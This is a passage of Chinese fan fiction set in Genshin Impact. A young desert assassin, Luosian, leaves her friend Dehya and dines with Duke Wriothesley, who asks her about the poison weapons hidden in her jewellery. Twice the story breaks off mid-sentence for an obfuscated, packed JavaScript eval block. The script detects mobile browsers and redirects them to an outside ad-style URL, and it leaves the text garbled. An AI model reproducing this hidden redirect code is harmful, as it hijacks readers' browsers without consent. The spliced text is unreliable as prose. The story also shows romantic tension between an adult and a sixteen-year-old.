就好像他对她施压,仅仅是因为她违反了梅洛彼得堡的规则而应该受到的惩罚。
而这惩罚轻微得让她震惊。
然后,她开始感到愧疚。
自始至终,他都是个开明讲理的老爷,他给了她最大程度的自由,他没有让她戴着手铐狼狈地被押送到水下,他也允许了她和迪希雅这种正常流程之外的会面,他甚至都没有站在旁边监视她——他在百米开外的地方喝咖啡,如果她想逃跑,完全不需要费心袭击,因为他根本来不及赶过来。
她不知道他为什么这么做,但即使是她也能理解,这样的行为背后透露出的沉甸甸的信任。
他把她当成一个人来尊重,而不是“沙漠不懂规矩的廉价牲口”。
她从未见过这样的好老爷。
如果她从这里逃走或者放任迪希雅的敌意,那她会觉得自己不配为人。
仅仅是想到自己的行为可能会让他失望,露斯安就觉得难过得心脏都在疼。
她来不及向迪希雅解释所有事,但她相信迪希雅同样能感受到这种平等的尊重。
迪希雅当然能理解这么远的距离意味着什么,但迪希雅比她更年长,思虑也更周全,即使能读到这行为背后的逻辑,她依然显得警惕而冷彻。
“他或许对你展现了善意,但你确定这种善意不是在利用你的良心吗?
“露斯安,你是个佣兵,而且,是个素质惊人的战士,是个优秀的暗杀者,你确定他不会利用你的特质为他做什么吗?
“你能确定,他不是在等你心甘情愿地成为他的棋子吗?”
“我——”
这一连串的反问让露斯安愣住了,她有反驳的本能,但又没有切实的证据,而迪希雅看着她的表情,深深叹了口气。
“露斯安,你已经十六岁了,在部族,这是可以成为母亲的年龄了。”
迪希雅说,“这是你自己的人生,如果你决定了要用这种方式负责或者报恩,那我确实没办法把你强行带走。
“但至少我该让你知道这里可能存在的陷阱——那些上位者总有无数种方式让你‘心甘情愿’地效力,我相信你比我更清楚这点。”
迪希雅按住她身后的大剑。
“我再确认最后一次,露斯安。你真的要把两年的青春,浪费在异国的监狱里吗?”
…………
…………
迪希雅目送着露斯安走向那个“善良”的典狱长。
那个身材高大的男人笑着和她说了什么,而露斯安的反应是双手背在身后,手指绞紧,嘴角上扬,非常秀气地摇了摇头。
枫丹的阳光明媚柔软,照得她的白发粲然生辉,珠宝与金饰的辉光笼罩上她年轻的眉眼,那笑容在重重的光里染上格外鲜亮的色泽,就像这个水之国度遍地摇曳的虹彩蔷薇一样鲜妍美好。
这并不是个好现象。
或许是她多心,但那笑容看起来就像是——像是——
他们又说了什么,迪希雅承认这个所谓的“公爵老爷”确实不太一样,因为寻常的上位者很难这样平心静气地听人说话,所以,不能怪露斯安对他有那样的好印象。
而露斯安……她的发丝,她的目光,她额角的首饰,她身上的金丝细链……一切都在盈盈的风里向男人的方向倾斜,包括她的肢体动作,带着鲜活流淌的春意,就像在翩跹飞舞的晶蝶,无需阳光的照射,从她自己身上就能流泻出跃动的磷光。
迪希雅惊疑不定地扣住剑柄,然后又松开,如此反复的行为昭示着她并不平和的内心,但最后,她只是看着两个人离开自己的视野。
露斯安甚至还转头对她笑了一下,用嘴型示意她“放心”。
……她第一次意识到这孩子是不是有点傻。
但她已经不可能提醒更多,那是露斯安自己的人生——自己选择,自己承担,这是沙漠人仅有的生存之道。
“其实您应该见见她的。”
她忽然说。
有风从街上遛过,吹响了花草与木叶,连带着吹动了树下漆黑的衣袍。
树后面有人。
单薄,瘦削,沉寂,就像一张燃烧过后又被强行拼合的纸片,险些要在风里再一次被吹散成灰烬。
“我怎么有脸见那孩子。”
从她嘴里吐出的声音也枯槁得像是死去,在水之国度灿烂的阳光里,干涩得如同裂开的死木,
“和她说我利用了她?因为我怯懦,因为我无能,因为我甚至没有勇气亲手杀掉自己的的仇人?”
她用颤抖的双手捂住了脸,
“我多想杀了他啊……我连做梦都是杀了他,从小安妮的死,到我丈夫的死……这场噩梦缠绕了我整整十年,而我在看到他的时候,竟然都没有勇气冲过去和他同归于尽?”
充满厌弃情绪的陈述达到一个阈值,泪水冲破了眼眶,自她伤疤纵横的脸上流淌,沿着她的指缝向下跌落,在黑袍上留下湿濡的痕迹。
“我真的不知道那孩子想做什么吗?我真的不能阻止她吗?我真的不知道放任她自己行动会产生的后果吗?”
我知道啊,我都知道的,我只是需要这个结果,所以选择了视而不见——她在入骨的哀切中深深地弯下腰去,如同在神前忏悔的罪人,就像有什么看不见的东西压垮了她的脊梁,
“我眼看着她替我去杀人,让自己成为威胁她的道具,现在,又要看着她因为我而坐牢,她把自己的青春和人生都埋葬在深海,而我竟然要这么恬不知耻地享受她的牺牲,然后当做一切都没有发生过一样去安度晚年?”
“会这么想,是因为您是个好人。”
迪希雅低声说,“她不会在意这些的,事实上,只要您说一声,每个人都能替您完成这件事,我们沙漠人能为您做得也只有这种事了。”
“啊啊,‘沙漠人不会忘记任何人的恩情’——那孩子经常这么说,你也是,村子里的那些人也是……你们都把我想得太好了……可是、可我根本不是因为善良才教你们读书的啊!”
她在哭泣的间隙忽然笑了出来,只是那一弯笑容镶嵌在枯槁的脸上,更像是雕坏了的面具上的一个异常的裂口,
“我只是……我只是不知道自己该去哪里,又该做些什么。我是个十年前就死掉的游魂,找不到东西填充自己空虚的人生,而你们的需求刚好弥补了我心里的空洞。那孩子……是啊,露斯安那孩子,她那个时候那么需要我,就像雏鸟需要母亲,而我是如此需要这种‘被需要’。”
就像是回忆起了什么,她的笑容忽然变得柔软,涟涟的泪水里,沾染了怀念的神色,仿佛一个看到了初生婴儿的母亲,
“她也好其他孩子也好……他们笑起来的样子让我短暂地活了过来,我寄宿在这种‘被需求’里苟活到今日。
“你们给我提供食宿,你们为我提供庇护,现在,你们又为了替我复仇身陷囹圄……而我能提供给你们的,就是这点微不足道的墨水?”
“您的道德水准对沙漠而言还是太高了。”
迪希雅听了这话反而笑了出来,
“初心如何并不重要,您对我们有恩是事实。现在我们站在这里,还的是您往日的恩情,事实上,您没有必要和我回到沙漠,在枫丹安度晚年也是个好的选择——或者您想的话,我可以送您回到璃月去。
“如果您真的要选择沙漠,那我有义务告诉您现在的情况。自从查出了教材走私,针对‘知识’的管制进一步缩紧了。
“大贤者可能会找您麻烦,大风纪官很可能抓您坐牢,教令院有权力吊销您的学位证书,甚至说,如果这真的是草神的旨意,那么我们就是站在了神的对立面上。”
迪希雅说完,并没有立刻得到回答。
只有轻微的、如同幻觉的呜咽在风里飘散。
而迪希雅没有催促对方。
沙漠人对等待并不陌生,最坏的结果无非是失去一切,而这种结果对沙漠人而言也不陌生。
良久,就连呜咽也在风里逐渐飘散,这里陷入了一种有如哀悼的静默里。
“我告诉过你们吗,我是璃月和蒙德的混血,”
非常突兀地,树下干枯的女性这么开口,“结婚对象在枫丹,你们的神可管不到我的灵魂。”
“老师——”
“至于教令院……对,教令院,哈哈。”
奇异的笑声冲出她的喉咙,她擦去脸上的泪水,在深切的哀思过后,好像有什么注入了这具干涸的身体,垂死的郁气正在从她的双眼里消退,枫丹悠然的绿意染上了她漆黑的眼底,
“哈,去他的教令院,去他的学历,我已经是这个样子了,这些东西还有什么好在意的?”
她逐渐挺直背脊,目光落到了街边的某个位置——那里是一个穿着绿色长袍的学生,须弥的样式和枫丹这个时尚轻盈的国度格格不入,他正在和人急切地争论什么,从口型来看,争论的重点是“论文”两个字。
远渡重洋只为了一篇论文,这精神状态看起来就特别草国。
而这样的年轻人,让她露出了格外怀念的神色。
“看啊,迪希雅,是教令院的学生……我年轻的时候也和那些人一样,脑子里除了学历就是论文,削尖了脑袋只为了一个拿得出手的‘研究成果’,我不能说那段日子对我完全没有助益……毕竟,‘求学’这个过程本身塑造了我的今天,年轻的时候总有烧不完的心气,以为证书和成绩就是唯一的表彰。”
方才深切的泪水洗去了她身上枯槁绝望的外皮,她现在看起来十分平静,阳光透过木叶的间隙落在那张疤痕交错的脸上,细碎的金光笼罩了她的表情,让那张脸上透出了超脱尘俗的通透悲悯,
“可我这个年龄啦……那些东西对我而言与尘土无异,功名利禄终究不过大梦一场,这世上有谁能逃过黄土白骨的最后结局?
“你知道吗?我们蒙德的风神从来不管事,我生来就习惯了没有风神的蒙德,就像我生来就习惯了帝君引导的璃月,我一直以为,微风就该永世不息,磐石就该万古不移。”
她的目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118292|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看向天边,好像要通过透亮的碧空,看到远东重峦叠嶂的山峰与悠远的国度,
“我从未想过,帝君竟然也有归去的一日啊……看啊,亘古的磐石都会在时间里归于尘土,我们凡人种种,当然也将在时光里回归地脉的指引。
“但好在总有东西能超脱□□的桎梏在世间留下痕迹,只是不知道我这凡人的妄念,能不能对得起帝君对我们的千年守望?”
她轻轻合眼,同最初完全不同的泪水自脸庞滚落。
“带我回去沙漠吧,迪希雅。这也是我能给那孩子做的唯一一件事了。
“就让我这把老骨头埋在沙漠里吧。如果我的坟墓能让沙漠开出新的花,那这辈子也不算白活一场。”
…………
…………
露斯安回过头。
她有一种有人在呼唤她的错觉,但其实身后什么都没有。
只有异国湿润的风在脸侧擦过,掀起她耳边的发丝,柔和得像情人的抚摸。
反倒是走在前面的莱欧斯利停下来看她一眼:“怎么?”
“没……那个。”她犹豫了一下,把心里奇异的悸动压下去,问,“这好像不是去梅洛彼得堡的路。”
“唔,确实不是。”莱欧斯利的声音还是一贯的散漫,他盯着她的脸看了一会儿,忽然笑了出来,“怎么你看起来比我更急着回去?”
露斯安拼命地摇头。
“那就珍惜你在水上仅剩的这点时光吧,小女士。毕竟,接下来的很长一段时间,你都将和阳光无缘了。”
“哦。”露斯安点点头,然后她还是忍不住问他,“那我们……要去哪里?”
“好问题。”莱欧斯利放在腰间的手点了点手铐,“人总是要吃饱了才能干活的。”
“干什么活?”
她完全是下意识地接口,但莱欧斯利并没有回答这个,他只是看着她,他的表情让她忽然意识到,这可能是自己不该问的问题。
好吧,她本来就不应该随意插口公爵老爷的公事——或者私事,露斯安的指尖又忍不住互相绞在一起,她抿一下嘴,想起来另一个问题。
“那吃什么?”
他一本正经地回答她:“吃饭。”
“……?”
吃……吃饭是什么?
露斯安听懂了。
但她觉得自己没有懂。
一直到走进窗明几净的大饭店里落座,露斯安还是没有懂。
这是……这是押送应该有的流程吗?
不是吧,至少上次她没有经历过。
虽然他说了要吃饱了才能干活,但她本来以为他会随便投喂她两个面包,或者其他的什么随便充个饥,而不是像现在这样、这样——
阳光顺着明净的玻璃窗落到身上,露斯安在座位上不安地动了动身体。
并不是座位有问题,她只是觉得这样坐着很别扭,但又不是站起来就能解决的别扭,有什么难捱的躁动在皮肤下刺激着她,她的手在桌下绞在一起,然后又松开,转而抠弄垂下来的桌布,但这样也并没有缓解她的症状,于是她又将手摆到桌面上,揪住桌子上的方巾。
但这一切都没有效果。
一想到自己和这个公爵老爷在这么高档的地方吃东西,她就觉得连手都不知道该放在哪里。
可能是因为环境问题。
应该是因为环境问题。
毕竟这种宽敞明亮、装潢雅致、一看就贵得要命的大酒店,向来和她这样的人没有关系。
但是公爵……莱欧斯利就不一样。
他很适合这种地方。
莱欧斯利就坐在她的对面,正低头看着手里的菜单。
她无处安放的目光总算找到了一个焦点,露斯安忍不住多看了两眼。
他的气质非常奇特,从她的角度来看,他毫无疑问是个一流的战士,他身上的武装带和紧实的肌肉都诉说着这点,但他同时又和这种高级装潢十分契合——那是一种富有底蕴的涵养,一种属于上层人的游刃有余,尽管他的着装看起来一点都不守男德。
她忽然意识到,他的领口开得是不是有点太大了。
明媚的日光照亮他大半边身子,暴露在暖融融的阳光里面,吸进了光的高档衣料看起来格外柔软,那黑衬衫下饱满的身躯因此显得更加温暖,给人一种靠在上面会很舒服的印象。
解下了厚重的大衣,从他肩膀到手臂舒展的线条被阳光一勾,立体得像要跳进眼睛似的,看得喉咙发紧,而他捏着菜单的指节也似乎比前些日子更加有力,大概是在烦恼吃些什么,他无意识地搓弄一下菜单的边缘,手上的绑带和纸张摩擦出窸窸窣窣的细小声音。
那只手曾两次扼住她的颈项,她知道那个长而有力的指骨发力时的触感,但她从没能体味过他这样轻柔的力道——尽管一切都是她自作自受。
一定是环境的问题。
都是环境的问题。
他看起来好……好,好——鲜艳啊,她想。
阳光下的肌肤显得比在水下时更有润泽,袒露的胸膛看起来也更加饱满,那三道贯穿胸膛的伤疤从未如此清晰,她的目光不由得顺着它们向下移动,然后被锁骨下方的衣领挡住,但那并不妨碍从领口透出来的那种吸人的生命热度,露斯安舔一舔发干的嘴唇,不自觉地将手里的方巾拧成奇怪的形状。
一切都是环境的错——
这个公爵老爷看着有点、有点可口。
他裸露的小臂线条紧致得让人眼热,她看着那只胳膊在眼前舒展、伸直、发力——他握住了旁边的水杯,那只手用力得莫名,以至于手背透过黑色的绑带,顶起一道明显的青筋。
他仰头的时候,下额与肩颈的线条流畅得让人惊叹,伤疤从绑带的间隙探出来,视觉上带着明显迥异于普通肌肤的质感,她忍不住用牙齿咬住舌尖——如果用舌尖探上去,是不是能感受到带着起伏的两种触感?那种触感,同他眼角下的那一道疤痕是相同的吗?
他的目光垂落于水杯。
折射的光影让他半睁的眼睛有了迷离的润泽,看起来与平日的清明惊醒大不相同,就像半寐半醒的黑狼,让人觉得十分——十分——
在她找到描述的词汇以前。
毫无预警地,他转动眼珠,清醒地锁定了她的位置。
阳光斜斜地从他肩膀处切过,他高大的身体暴露在光里,五官却隐藏在室内的阴影里,而那眼神撕裂了光影的界限,让他的目光带上了深暗迫人的压力。
警报在露斯安脑子里拉响。
就像忽然被凶兽窥见了一样,强烈的战栗自脊椎冲上大脑。
18.第 18 章
蓝眼睛的狼自暗处警醒地窥视着猎物。
但那双眼睛,很快就透出了属于“公爵”的散漫笑意。
“看我做什么。”他放下水杯,抬手摸了下脸,“难道我哪里长得很下饭吗。”
“是!”露斯安迅速扔了手里的方巾坐正,本来就挺直的背绷得更紧,“您……有什么吩咐吗?”
她说完了才意识到他在问什么。
露斯安愣在那里,对自己的已读乱回不知所措,但好在对方没有任何追究的意思。
“‘您’。”他重复一遍她的用词,而后失笑,“你紧张什么?”
“我、我……”
她也不知道自己在紧张什么。
她才发现自己其实是在紧张。
可能是因为她和这种高档饭店太不搭调了吧。
都说了这是环境的问题。
她想了半天,最后只能说:“我没有钱。”
“回去之后记得付特务券给我。”
“……哦。”
然后就没有然后了。
莱欧斯利还在看她,而她发现自己竟然完全不知道该说什么。
糟了,她想,这不就印证了老家那帮没品的男人们的评价,她露斯安是个刻板无趣的女人,和她聊天超过两句话就会昏昏欲睡、烦得要命。
这个认知让她感到沮丧,尽管她不知道自己在沮丧什么东西。
她感到干渴、焦灼、心慌,像是失落得找不到心脏,又觉得心脏在体内涨得人发慌。
就是那种饥饿到极限,饿得好像连胃都要被消化了似的,全身肌肉都在不听话地抽搐的心慌。
“这又不是擂台,有什么好紧张的。”
和她的紧张相反,莱欧斯利的状态是放松的,嗓音也一如既往地散漫,他像是忽然想起了这件事,然后忽然开始好奇,“说起来我还没有问过,你那个时候为什么要杀我?”
“?!!”
这个袭击来得毫无预警,露斯安的手一抖,差点把面前的桌子给掀了。
秋后算账、先礼后兵、等等字眼从她脑子里飞快地滑过去,她的双腿下意识地发力,身体本能地抬了一半,然后又在他盈满笑意的目光里顿住,膝盖不自然地抽搐两下,僵硬地重新坐回座位。
他看起来不太像在“算账”。
他好像就是,就是单纯地在好奇,好奇一个没能想通的数学题。
“我——”
其实她现在也不太记得那个时候的思维了,但身体还残留着第一次见到他时的记忆——他的影子压在她的身上,他的体温辐射过她呼吸的空气,战栗从脊椎贯穿脑门,那是一种被天敌窥见了的心悸,就像刚才一样,让她本能地想要抽刀割断他的喉咙。
她硬着头皮回答:“你太敏锐了。被你发现的话很糟糕……反正、总之杀了不亏。”
“杀了不亏”这四个字明显给这个枫丹老爷带来了一点沙漠震撼,他显然没有思考过这个方向,以至于,这一刻得到答案的他,看起来有一种,非常年轻的错愕。
“那你在擂台上为什么不用?”
他的手指隔空虚指了一下她肋骨的位置,隔着防沙披肩,身体里残留的记忆被激活,她感觉腰侧像是被什么烫了一下,不自觉地抽紧,而他并没有多余的行为,只是问她,“不管怎么想,在我没有武器的时候成功率都会更高吧。“
“我、因为——呃,规则不让?”
“但规则是我定的,如果我死了,其实没人能追究你是否违规。”
“……啊,”露斯安说,“哎?”
好像对哦。
所以那个时候她为什么没有更过激一点?!
事到如今也很难还原当时的想法,但这是……应该这么讨论的问题吗?
她试图暗杀过的公爵老爷,在押送她的过程里,坐在饭店,和她复盘当时的暗杀行动为什么没能成功。
这……这对吗?
他果然是个枫丹人,这玩法对于她这个沙漠人而言太超前了。
不同于她的窘迫,他看起来兴致勃勃,打算深入到底:“所以,除此之外,你没有想过其他手段吗?”
“——————”
露斯安连呼吸都停了,心脏猛地跳动了两下,然后像死了一样失去踪迹。
她反复确认他脸上的笑容是不是陷阱,身体本能地因为戒备而绷紧,同时,她的手又一次抠住桌布——这次确实是紧张的,桌子下的膝盖也尴尬地扣在一起,不安地互相磨蹭,连靴子里的脚趾都不自然地扣住地面。
她低头看看自己的脚尖,又抬头看看莱欧斯利的脸,接下来又看了看四周,经过了极其激烈的拉扯,她的身体不自然地扭动了两下,最后,她就这么沉默着,抬起胳膊放到桌子上。
这个动作让她身上的各色金饰叮叮当当地响了起来,她全程保持沉默,将左手向前伸,对他露出了手腕上叮当作响的三只金镯子,然后抬手,按住其中一只。
看起来严丝合缝的手镯裂开一条缝,从中滚落的是颜色鲜亮的药丸——那是一看就很危险的色彩,用途可想而知。
“这是什么?”
“……从一种毒蝎身上提炼的神经毒。”
“哦——”他拖长了语调,“所以为什么没有给我用过?”
赤王在上,为什么这种问题他都要问?!
露斯安的腿猛地抖了两下,她感觉血液正在集中到脸上,自己像一颗孤零零的赤念果,滚落在异国的餐桌上,再被窗外的阳光一打,从皮肤上都能看出红色的汁水来。
她不安地动了动身体,最后麻木地回答:
“……因为你的生活习惯很干净。”
说到这个,露斯安就想起来,当时潜入办公室时,他清廉自律的生活给自己带来的强烈失望,她几乎都想要抱怨了:
“没有食物和液体残留,你的茶壶里甚至连一滴水都没有……随便添置可能会引起你的注意,而且茶叶不同于酒水,很难掩盖药物的味道,在下药的时候不是什么好的选项。”
“啊哈~看来不喜欢喝酒也是有好处的。”他发出了一声尾调上扬的感叹,那神态一点不像是在面对一个想要暗杀他的人,“还有吗?”
露斯安挣扎了一下,然后她放弃了挣扎。
她沉默地解下了脖子上的防沙围巾。
修长的颈项与充满韧性线条的光裸肩背暴露在日光下,颈项上那一绕金色的装饰链折射出细碎的金光。
同样露出的还有那些点缀在身上各处的首饰和细链,比如,靠近左肩的位置,箍住上臂的耀眼臂钏——稍加转动,从里面弹射出尖锐的银针,发黑的尾端即使在日光下也深邃得没有任何反光。
这次轮到枫丹人觉得沙漠人的版本太超前了。
莱欧斯利的手抵着下额,脸上的表情很难用笔墨形容。
“嗯……我现在很庆幸我只是你选项里的‘不亏’。”
露斯安没有说话。
完全是破罐子破摔,没有等他继续提问,露斯安又对他伸出了右手,掀开了装饰性的衣袖,露出手腕上那只嵌满了各色珠宝、和指环相连的宽镯,镯子上延伸出的锁链将她的手也衬托得长而纤细,她转动手镯,从里面簌簌落下红色的粉末。
“……”
非常罕见地,公爵没能发表出任何评价,沙漠人的武器储备看来对他造成了一定程度的震撼,他的目光飘向她的耳环,露斯安也顺着他的目光摸了一下耳环,然后发出苍白的声音:
“……这个真不是。”
她还没有想到它能怎么用。
“把武器融进首饰,确实是个绝妙的想法。”
他还带着那种……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123311|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非常玄妙的表情,沉吟,“虽然不是没有先例,但精巧到这个程度也并不常见,寻常人也不会想到这些无害的首饰其实暗藏玄机,梅洛彼得堡对武器的登记看来需要扩大范围了。”
“…………不是。”
露斯安废了好大功夫憋出了这么一句话,她坐得笔直,双手乖巧地放在膝盖上,整个人都写着局促,膝盖在桌下止不住地互相磨蹭,“是我……我喜欢这些东西。”
亮闪闪的珠宝,金灿灿的首饰,鲜艳的指甲油,漂亮的新衣服,这些“猎鹰”不应该执着的外物总能让她感到快乐。
在阿如村居住的那段时间,没有任务的时候,她甚至会在金丝上坠上珠宝或者珍珠,然后细致地编进自己纯白的发丝里。
莱欧斯利不说话了。
他用很——很奇妙的眼神上下打量了她几圈,然后,然后不知道为什么,忽然从他喉咙里挤出一串愉快的笑声!
“哈哈哈哈!”
她不知道笑点在哪,但他看起来快乐而放松,笑着对她颔首,“原来如此,是位享受生活的小女士……很遗憾我们水下可没有这么丰富的服务,看来以后的生活要让你受点委屈了。”
不,她不委屈。
反正这些东西也是她自己打的,她还可以再搞很多套。
露斯安在心里嘟囔,但没能把这句话说出口。
她紧张得嗓子都在冒烟,无处安放的双手最后尴尬地捏住了旁边的玻璃杯,像是要掩饰什么一样一股脑地灌进嘴里。
“噗咳咳咳、——咳咳——”
这什么东西?!
好辣!!
不,不是味道好辣,是口感好辣,不,好像也不是辣,总之是什么会在舌头上炸开的口感,伴随着清爽又浓郁的甜味灌进嗓子又直冲脑门,她猝不及防之下被呛了个结实,差点连眼泪都流出来了。
“哦,那是枫丹的特产汽水枫达,很受年轻人的欢迎,但是看起来你不太适应。”她听到了他含笑的声音,“水在这里。”
“唔、咳咳咳、哈啊……”
她泪眼朦胧地大口呼吸,伸手去接他递过来的水杯,但并没能在第一时间拿到手里。
因为他没有松手。
甚至相反,他握着杯的手指原因不明地收紧了。
“……?”
露斯安疑惑地看过去。
公爵正在看她。
他当然在看她……但那眼神,似乎并不焦距在她的脸上。
只有很短的一瞬间。
他的目光带着奇特的质感,透过她张开的唇齿,摩挲她的舌尖。
目光当然没有实体。
所以这应该只是错觉。
透过迷离的视野,她看到他的喉结滚动了一下。
那种被天敌窥视的心悸感又出现了。
但那确实只是很短的一瞬间,甚至让人疑心这也是泪水带来的错觉。
然后露斯安看到公爵别开目光,水杯落到她的手里。
她闷头把水灌进喉咙,但她能感觉到他还在看她。
这个认知让她更渴了。
那目光并不像前几日那样,带着属于“典狱长”的森然压迫,但却有另一种磨人的热度,随着日光烧得她头晕脑胀。
好奇怪啊……是因为饿了吗。
这种不安定的心慌感到底来自何处。
水已经一滴不剩,但是什么症状都没有缓解,舌尖甚至感到有点发麻,于是她悄悄抵住牙根——如果不这样做,她连这条舌头都不知道该放在哪里。
四肢也比最初更加难以安放,如果条件允许,她现在就会站起来满地乱转。
也不是想站起来,她只是需要自己处于一个动起来的状态,用来宣泄皮肤下莫名其妙的蠢动。
“你多大了?”
他忽然问。
19.第 19 章
“23。”
露斯安下意识地回答,又在他的眼神里瑟缩了一下,“没……没到23。”
他挑起眉毛。
“1……18。”她小声说,看了他一眼,又飞快地补充,“也没到18但是……但是快了!”
真的快了!
她这样向他挺起胸膛,向他展示自己发育良好的曲线,“还有一年零九个月我就18了!”
“………………………………………………”
莱欧斯利就这么定定地着她,忽然之间不说话了。
那真的是很微妙的一阵沉默。
他的眼神凝固在她脸上,不包含任何深意,就像全然放空了大脑似的,无声地盯了一会儿。
然后他吐出长长一口气,把脸转向一边。
他那毛茸茸的、狼耳似的黑发似乎向下塌了塌。
“本来以为是沙漠来的小女士,没想到竟然是位小小姐。”
但他很快又转过脸,单手支着下颚,眼里依然是平日会有的,散漫的笑意,“水下资源匮乏,对你这样长身体的小小姐而言可不太友好。不过以你的本事,想来在水下也不会因为生存而犯愁。”
他的目光重新垂落于菜单,眉眼疏懒:“想好吃什么了吗?”
露斯安觉得自己好像说错了什么话。
这个公爵老爷看起来有哪里不一样了。
她说不太清这种变化……就是,好像他忽然之间对什么倦怠了似的,有一种格外慵懒的氛围漫上他的身体,就连日光都带上了昏沉的懒意,让他看起来像一只准备打盹的狼。
他身上鲜艳的色彩似乎都因此而黯淡了些。
总之,随着这个小小的插曲,那种被狩猎似的战栗从周身消退了。
但露斯安却并没有觉得欢愉。
她甚至觉得有点失落。
就好像身体擅自渴望被他狩猎。
好奇怪啊,好奇怪啊,好奇怪啊。
这一顿饭她吃得食不知味,并不是在说味道不好,恰恰相反,每道菜都滋味十足、口齿留香,十分对得起菜单上的标价,但是露斯安却完全不记得自己吃了什么。
她果然是不适合这么高档的地方,最后唯一留下印象的东西竟然是枫达——这种带着气泡的奇特饮料喝起来十分爽快,但又有悠长的回甘,一直到坐上巡轨船的时候,她还能感觉到那种让人愉快的尾调在口腔里弥散。
啊对,他们坐船出了城。
她这才想起来他带她吃饱是为了“干活”……而她到现在也不知道是干什么活,还有为什么“干活”要带着她。
不过问题不大。
反正公爵老爷做事肯定有他自己的道理。
话虽如此,露斯安被领着从船上走下来,又穿越一整片青翠的原野,再扎进森林并持续向深处进发的时候,她还是感受到了茫然。
当然,她对路程本身没有任何不满。
这一路的天很蓝,水很清,清凉透亮的河水像晶莹的缎带一样分开翠绿的山野,然后横穿枫丹秀气的森林,连吹来的风里都带着清冽透亮的水汽,可以说处处是让人心旷神怡的好景致。
枫丹的一切在露斯安看来都缺乏威胁性,植被也是轻盈内敛的,全然不似须弥雨林那种遮天蔽日的猖獗长势。
哪怕是这种远离城镇的森林也让她想用“秀气”来形容,阳光会经过树叶的间隙,在地面上漏成细碎的金斑,那些跃动的光点照亮草丛间不知名的小花,踩在上面就像踩过星辰的碎屑。
如果她不是个等待收监的犯人,那这一路美好得像是在郊游。
露斯安跟在公爵的身后,看着漏下的日光在他身上跳跃,觉得自己的心脏就像那些跃动的光点一样,随着步伐飘忽摇摆,摇摇晃晃地一直要飘到天上去。
但她还记得自己是个犯人……好吧,至少在一开始的时候还是记得的。
所以,在看到树上那些新鲜泡泡橘时她没有伸手去摘,在水里看到由金属构成的发光的机械鱼时她没有试着去捞,在枝头看到圆滚滚的鸟的时候她也没有冲上去薅——
她真的没有薅。
至于她现在会拎着鸟,那完全是它们自己送上门来的。
她就说枫丹这个国家实在是太缺乏威胁性了,从人到植物再到动物都是如此,整个国家都是一副被富足的资源养得傻了吧唧的状态,这点在小动物身上体现得尤为明显。
她熟悉的沙漠动物都生得十分精悍,不管是天上飞的还是地上跑的,能在沙漠那种恶劣条件活下来的那必须腰细腿长、身姿矫捷,腱子肉一直从腿长到背,摸你一下能让你直接体会什么叫肝脑涂地。
这种环境下的人和动物只有你死我活一条路可走,飞在天上的赤鹫从八百里开外看到你都要冲过来扇你两巴掌,要么你加餐,要么它加餐,和谐共处的唯一可能性就是一方变成储备粮。
但她手里的这两只枫丹傻鸟就不一样,人靠近了也不知道飞,等到快贴上了才想起来扑棱两下,扑棱着扑棱着就扑棱进了她的怀里。
本着送上门来的不要白不要的原则,露斯安顺手就提了起来。
金红相间的羽毛,圆滚滚的身子,圆滚滚的脑袋,头顶的羽毛像圆滚滚的蘑菇伞盖一样长到遮住眼睛,整只鸟都散发着“我这么蠢你都不尝尝吗”的质朴感。
她下意识地张开嘴——然后合上,扭头,不意外地发现公爵老爷正在看她。
“赤棕伞雀,团雀的枫丹远亲,吃一口三年起步。”
“我没有,我不是——”
露斯安迅速地松手,获得自由的枫丹傻团雀努力扑棱两下翅膀,“咚”一声撞上她的肋骨,身子歪了一下,还是露斯安看不下去伸手扶了扶,然后才终于擦着她的侧腰“啪嗒啪嗒”飞离了现场。
露斯安局促地比划了一下,“是它们自愿的。”
她有点犹豫,“要加刑……吗?”
“骗你的不要信。”
莱欧斯利摆手笑起来,“确实是赤粽伞雀,但和团雀一样是很普通的泛滥品种,吃了也不会产生法律问题,据说肉质不差又易于捕捉,有很多冒险家会把它作为储备粮的第一选择,不过一般都是烤熟了吃。”
他上下打量她,忽然露出了沉思的神色,“怎么你刚才没吃饱吗?”
“也、也不是——”露斯安发出苍白的辩解,“那个,就是,尝尝也不亏。”
没有哪个沙漠人会拒绝送上门来的食物。
多吃点比饿着总是更好的。
他拖长了语调“哦——”了一声。
“你可以拿特许券问问韦尔赛师傅能不能给你搞点新花样,顺带一提,如果你愿意喝护士长的奶昔,她应该也能答应给你拿这个搞点新花样——不过我不太推荐这个选项。”
不知道回忆起了什么,他的神色有点古怪,但这点表情很快就消散了,婆娑的树影落在他的脸上摇曳,这让他看起来多了几分深沉,“但是现在不行,我们赶时间。”
哦,对,公爵老爷要“干活”的。
露斯安乖巧地跟在他身后越走越深,在这样的森林深处,再秀气的树木也会成长到遮蔽天空的程度,不知不觉间,地面上金色的光斑已经消失了。
道路自然也变得狭窄,或者应该说是没有,他们在林木的间隙寻找能下脚的地方,甚至翻过一些不高的山坡。
可见度逐渐降低,没有了阳光的照射,取而代之的是水一般莹润的蓝色幽光——那是植物自身所散发出的微光,连树干都是莹润内敛的湖水蓝,就好像走入了无水的海洋,在这样日光无法触及的森林深处,植被仿佛吸尽了月色,安静地散发出蓝色的梦幻荧光。
然后,在某个瞬间,露斯安听到了声音。
